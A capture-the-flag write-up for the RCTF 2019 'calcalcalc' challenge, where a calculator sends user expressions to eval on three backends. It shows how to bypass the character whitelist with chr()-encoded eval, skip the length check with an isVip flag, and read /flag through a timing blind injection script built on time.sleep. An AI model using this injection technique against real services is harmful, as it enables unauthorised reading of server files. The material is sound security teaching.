Rating:

(source given)

This website provides a calculator service with one frontend and three backends (php, python, node). We submit an expression to frontend, and get the result if answers given by `eval` from all backends are the same.

There are some restriction on the expression.

```typescript
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
}
```

We can use `eval` and `chr` in python to pass the re check.

We also need to add `"isVIP": True` in the post json to avoid the length check.

After all, it becomes a timing blind search, and the basic payload is `__import__('time').sleep(5) if {boolean_exp} else 1`

final script:

```python
import requests
from time import time

url = 'https://calcalcalc.2019.rctf.rois.io/calculate'

def encode(payload):
return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))

def query(bool_expr):
payload = "__import__('time').sleep(5) if %s else 1" % bool_expr
t = time()
r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})
# print(r.text)
delta = time() - t
print(payload, delta)
return delta > 5

def binary_search(geq_expression, l, r):
eq_expression = geq_expression.replace('>=', '==')
while True:
if (r - l) < 4:
for mid in range(l, r + 1):
if query(eq_expression.format(num=mid)):
return mid
else:
print('NOT FOUND')
return
mid = (l + r) // 2
if query(geq_expression.format(num=mid)):
l = mid
else:
r = mid

# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)
flag_len = 36
print('flag length: %d' % flag_len)

flag = ''
while len(flag) < flag_len:
c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)
if c: # the bs may fail due to network issues
flag += chr(c)
print(flag)

```